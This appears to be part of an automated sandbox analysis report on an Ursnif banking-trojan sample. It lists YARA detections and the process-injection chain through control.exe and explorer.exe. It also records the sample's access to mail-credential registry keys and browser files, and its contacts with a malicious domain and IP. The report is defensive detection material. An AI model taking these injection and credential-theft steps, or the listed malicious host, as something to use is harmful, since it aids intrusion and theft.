00000021.00000000.593422268.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.600027354.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.611451927.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.579445287.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000002.840115033.00000163C2A60000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: control.exe, 00000015.00000000.465834683.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.463412327.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.469746208.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.467731710.00000192823C0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.479425710.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506871853.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.481209654.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506458599.00000000011E0000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.559720745.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.554305571.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.542290609.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.531101419.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.537380226.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000002.839664387.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.547364996.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.565113464.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.617259125.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.605838216.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.586548469.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.593422268.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.600027354.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.611451927.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.579445287.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000002.840115033.00000163C2A60000.00000002.00020000.sdmp Binary or memory string: Progman
Source: control.exe, 00000015.00000000.465834683.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.463412327.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.469746208.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.467731710.00000192823C0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.479425710.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506871853.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.481209654.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506458599.00000000011E0000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.559720745.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.554305571.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.542290609.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.531101419.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.537380226.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000002.839664387.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.547364996.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.565113464.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.617259125.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.605838216.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.586548469.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.593422268.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.600027354.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.611451927.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.579445287.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000002.840115033.00000163C2A60000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000018.00000000.516789473.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000018.00000000.494619616.0000000008778000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWndh

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D7A2E cpuid 1_2_020D7A2E
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00401E22 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 1_2_00401E22
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D7A2E RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 1_2_020D7A2E
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079DF1C CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 1_2_0079DF1C
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00401752 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 1_2_00401752

Stealing of Sensitive Information:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.399143772.000000000291C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346977655.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702102398.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702289385.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702177373.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346937674.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702063313.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702232762.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346992994.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346913060.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346959210.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702016813.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702206900.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.703676134.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.701957024.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.838458423.0000027741E02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347006812.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347017616.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702145483.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2GEg45PlG9.exe PID: 6540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4768, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6576, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a994a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.2GEg45PlG9.exe.20d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000023.00000000.640272876.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.665585940.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.607122164.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397282239.0000000002A99000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.517379497.0000000002720000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.645879141.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.651725640.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.465481306.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.566373017.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.469185979.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.547994492.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.560669492.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.585352410.000002E0BE597000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.516035040.0000000002559000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.613095849.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.663821435.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.546791184.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.618879777.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.555920972.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.544941434.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397218720.0000000002A1A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.661999238.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.466675811.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\index
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000003
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000004
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000005
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_0
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_1
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_2
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\data_3
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000001
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000006
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000007
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000008
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cache\f_000009

Remote Access Functionality:

barindex
Yara detected Ursnif
Source: Yara match File source: 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.399143772.000000000291C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346977655.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702102398.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702289385.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702177373.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346937674.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702063313.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702232762.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346992994.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346913060.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.346959210.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702016813.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702206900.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000002.703676134.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.701957024.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.838458423.0000027741E02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347006812.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.347017616.0000000002B18000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000002C.00000003.702145483.0000000003298000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2GEg45PlG9.exe PID: 6540, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4768, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6576, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6500, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a994a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2a1a4a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.2GEg45PlG9.exe.20d0000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.25594a0.11.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.2GEg45PlG9.exe.2ac4ef0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000023.00000000.640272876.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.665585940.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.607122164.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397282239.0000000002A99000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.517379497.0000000002720000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.645879141.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.651725640.000001EAE4570000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.465481306.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.566373017.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.469185979.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.547994492.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.560669492.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.585352410.000002E0BE597000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.516035040.0000000002559000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.613095849.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.663821435.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.546791184.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000000.618879777.00000163C5160000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.555920972.000001B920020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.544941434.0000023D83620000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.397218720.0000000002A1A000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000000.661999238.0000027741BA0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.466675811.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 528165 Sample: 2GEg45PlG9.exe Startdate: 24/11/2021 Architecture: WINDOWS Score: 100 85 Found malware configuration 2->85 87 Multi AV Scanner detection for submitted file 2->87 89 Sigma detected: Powershell run code from registry 2->89 91 10 other signatures 2->91 9 2GEg45PlG9.exe 1 12 2->9         started        13 mshta.exe 19 2->13         started        process3 dnsIp4 79 doreuneruy.store 89.45.4.117, 443, 49746, 49748 M247GB Romania 9->79 81 new-fp-shed.wg1.b.yahoo.com 87.248.100.215, 443, 49743 YAHOO-IRDGB United Kingdom 9->81 83 2 other IPs or domains 9->83 111 Detected unpacking (changes PE section rights) 9->111 113 Detected unpacking (overwrites its own PE header) 9->113 115 Writes to foreign memory regions 9->115 119 5 other signatures 9->119 15 control.exe 1 9->15         started        117 Suspicious powershell command line found 13->117 18 powershell.exe 30 13->18         started        signatures5 process6 file7 121 Changes memory attributes in foreign processes to executable or writable 15->121 123 Injects code into the Windows Explorer (explorer.exe) 15->123 125 Writes to foreign memory regions 15->125 127 Allocates memory in foreign processes 15->127 21 explorer.exe 15->21 injected 25 rundll32.exe 15->25         started        61 C:\Users\user\AppData\...\a4dqpwui.cmdline, UTF-8 18->61 dropped 129 Modifies the context of a thread in another process (thread injection) 18->129 131 Maps a DLL or memory area into another process 18->131 133 Creates a thread in another existing process (thread injection) 18->133 27 csc.exe 3 18->27         started        30 csc.exe 3 18->30         started        32 conhost.exe 18->32         started        signatures8 process9 dnsIp10 73 lycos.com 21->73 75 ds-ats.member.g02.yahoodns.net 212.82.100.140, 443, 49817 YAHOO-IRDGB United Kingdom 21->75 77 4 other IPs or domains 21->77 101 System process connects to network (likely due to code injection or exploit) 21->101 103 Tries to steal Mail credentials (via file / registry access) 21->103 105 Changes memory attributes in foreign processes to executable or writable 21->105 109 8 other signatures 21->109 34 cmd.exe 21->34         started        37 cmd.exe 21->37         started        39 cmd.exe 21->39         started        45 6 other processes 21->45 63 C:\Users\user\AppData\Local\...\a4dqpwui.dll, PE32 27->63 dropped 41 cvtres.exe 1 27->41         started        65 C:\Users\user\AppData\Local\...\i3kd1hp5.dll, PE32 30->65 dropped 43 cvtres.exe 30->43         started        file11 107 May check the online IP address of the machine 73->107 signatures12 process13 signatures14 93 Uses ping.exe to sleep 34->93 95 Uses ping.exe to check the status of other devices and networks 34->95 97 Uses nslookup.exe to query domains 34->97 47 conhost.exe 34->47         started        49 PING.EXE 34->49         started        51 nslookup.exe 37->51         started        55 conhost.exe 37->55         started        57 conhost.exe 39->57         started        59 conhost.exe 45->59         started        process15 dnsIp16 67 222.222.67.208.in-addr.arpa 51->67 69 resolver1.opendns.com 51->69 71 myip.opendns.com 51->71 99 May check the online IP address of the machine 51->99 signatures17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
209.202.254.90
 lycos.com United States
6354 LYCOSUS false
89.45.4.117
 doreuneruy.store Romania
9009 M247GB true
87.248.118.23
 edge.gycpi.b.yahoodns.net United Kingdom
203220 YAHOO-DEBDE false
87.248.100.215
 new-fp-shed.wg1.b.yahoo.com United Kingdom
34010 YAHOO-IRDGB false
98.137.11.164
 yahoo.com United States
36647 YAHOO-GQ1US false
212.82.100.140
 ds-ats.member.g02.yahoodns.net United Kingdom
34010 YAHOO-IRDGB false

Contacted Domains

Name IP Active
new-fp-shed.wg1.b.yahoo.com 87.248.100.215 true
myip.opendns.com 84.17.52.63 true
lycos.com 209.202.254.90 true
resolver1.opendns.com 208.67.222.222 true
doreuneruy.store 89.45.4.117 true
ds-ats.member.g02.yahoodns.net 212.82.100.140 true
yahoo.com 98.137.11.164 true
edge.gycpi.b.yahoodns.net 87.248.118.23 true
www.lycos.com 209.202.254.90 true
www.yahoo.com unknown unknown
mail.yahoo.com unknown unknown
222.222.67.208.in-addr.arpa unknown unknown
login.yahoo.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
